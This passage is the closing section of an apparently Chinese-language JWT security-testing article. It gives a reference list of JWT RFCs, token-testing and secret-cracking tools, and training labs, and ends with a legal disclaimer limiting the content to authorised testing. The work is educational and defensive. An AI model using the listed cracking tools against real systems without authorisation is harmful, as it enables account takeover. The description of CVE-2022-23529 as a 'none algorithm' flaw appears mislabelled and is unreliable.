RFC 7519 - JSON Web Token (JWT)
https://tools.ietf.org/html/rfc7519
RFC 7515 - JSON Web Signature (JWS)
https://tools.ietf.org/html/rfc7515
RFC 7517 - JSON Web Key (JWK)
https://tools.ietf.org/html/rfc7517
RFC 7518 - JSON Web Algorithms (JWA)
https://tools.ietf.org/html/rfc7518
工具与项目
jwt_tool (JWT安全测试工具)
https://github.com/ticarpi/jwt_tool
jwt-cracker (密钥破解工具)
https://github.com/lmammino/jwt-cracker
hashcat (密码破解)
https://hashcat.net/hashcat/
John the Ripper
https://www.openwall.com/john/
jwt.io (在线解码)
https://jwt.io
OWASP JWT Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html
PortSwigger JWT Editor
https://portswigger.net/bappstore/26aaa5ded2f74ab5b9b3dfb5810997b5
学习资源
PortSwigger Web Security Academy - JWT
https://portswigger.net/web-security/jwt
HackTheBox - JWT相关挑战
https://www.hackthebox.com
TryHackMe - JWT安全模块
https://tryhackme.com
CVE-2022-23529 (jsonwebtoken none算法)
https://nvd.nist.gov/vuln/detail/CVE-2022-23529
CVE-2022-21449 (Java ECDSA签名验证绕过)
https://nvd.nist.gov/vuln/detail/CVE-2022-21449
14.3 合规声明
【提示】 本文所有技术内容、代码示例和攻击手法仅用于授权安全测试、安全研究和教育学习目的。未经授权对任何计算机信息系统进行渗透测试、攻击或数据窃取均属违法行为,可能触犯《中华人民共和国网络安全法》《中华人民共和国刑法》第二百八十五条(非法侵入计算机信息系统罪)、第二百八十六条(破坏计算机信息系统罪)等相关法律法规。读者必须在合法授权的环境中使用本文所述技术,并自行承担一切法律责任。作者和发布平台不对任何因不当使用本文内容而产生的法律后果承担责任。
安全研究的根本目的是建设更安全的系统。希望本文能帮助开发人员理解JWT的安全边界,帮助安全工程师发现和修复漏洞,共同构建更安全的网络空间。
更多推荐


所有评论(0)